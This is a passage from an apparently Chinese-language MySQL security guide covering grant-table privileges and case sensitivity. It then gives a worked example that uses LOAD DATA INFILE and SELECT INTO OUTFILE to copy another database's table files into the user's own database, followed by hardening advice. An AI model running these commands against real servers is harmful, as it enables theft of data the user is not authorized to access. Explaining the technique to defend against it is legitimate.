GRANT 允許你將你自己的權限授予別人,包括GRANT。 PROCESS 允許你通過使用SHOW PROCESS語句或mysqladmin process命令查看服務器內正在運行的線程(進程)的信息。這個權限也允許你用KILL語句或mysqladmin kill命令殺死線程。 你總是能看到或殺死你自己的線程。PROCESS權限賦予你對任何線程做這些事情的能力。
Db 在columns_priv和tables_priv表中,Db值必須是真正的數據庫名(照字面上),不允許模式和空白。在db和host中,Db值可以以字面意義指定或使用SQL模式字符%或_指定一個通配符。一個%或空白匹配任何數據庫。 Table_name,Column_name 這些列中的值必須是照字面意思的表或列名,不允許模式和空白。 某些范圍列被服務器視為大小寫敏感的,其余不是。這些原則總結在下表中。特別注意Table_name值總是被看作大小寫敏感的,即使在查詢中的表名的大小寫敏感性對待視服務器運行的主機的文件系統而定(UNIX下是大小寫敏感,而Windows不是)。
表3 授權表范圍列的大小寫敏感性 列 Host User Password Db Table_name Column_name 大小寫敏感性 No Yes Yes Yes Yes No
創建一個有一個LONGBLOB列的表: USER test; CREATE TABLE tmp (b LONGBLOB);
使用該表讀取每個對應于你想偷取的數據庫表文件的內容,然后將表內容寫入你自己數據庫的一個文件中:
LOAD DATA INFILE "./other_db/x.frm" INTO TABLE tmp FIELDS ESCAPED BY "" LINES TERMINATED BY ""; SELECT * FROM tmp INTO OUTFILE "y.frm" FIELDS ESCAPED BY "" LINES TERMINATED BY ""; DELETE FROM tmp; LOAD DATA INFILE "./other_db/x.ISD" INTO TABLE tmp FIELDS ESCAPED BY "" LINES TERMINATED BY ""; SELECT * FROM tmp INTO OUTFILE "y.ISD" FIELDS ESCAPED BY "" LINES TERMINATED BY ""; DELETE FROM tmp; LOAD DATA INFILE "./other_db/x.ISM" INTO TABLE tmp FIELDS ESCAPED BY "" LINES TERMINATED BY ""; SELECT * FROM tmp INTO OUTFILE "y.ISM" 現在你擁有了一個新表y,它包含other_db.x的內容并且你有全權訪問它。 為避免讓人以同樣的方式攻擊,根據“第一部分 內部安全性-保護你的數據目錄”中的指令設置你的數據目錄上的權限。你也可以在你啟動服務器時使用--skip-show-database選項限制用戶對于他們沒用訪問權限的數據庫使用SHOW DATABASES和SHOW TABLES。這有助于防止用戶找到關于它們不能訪問的數據庫和表的信息。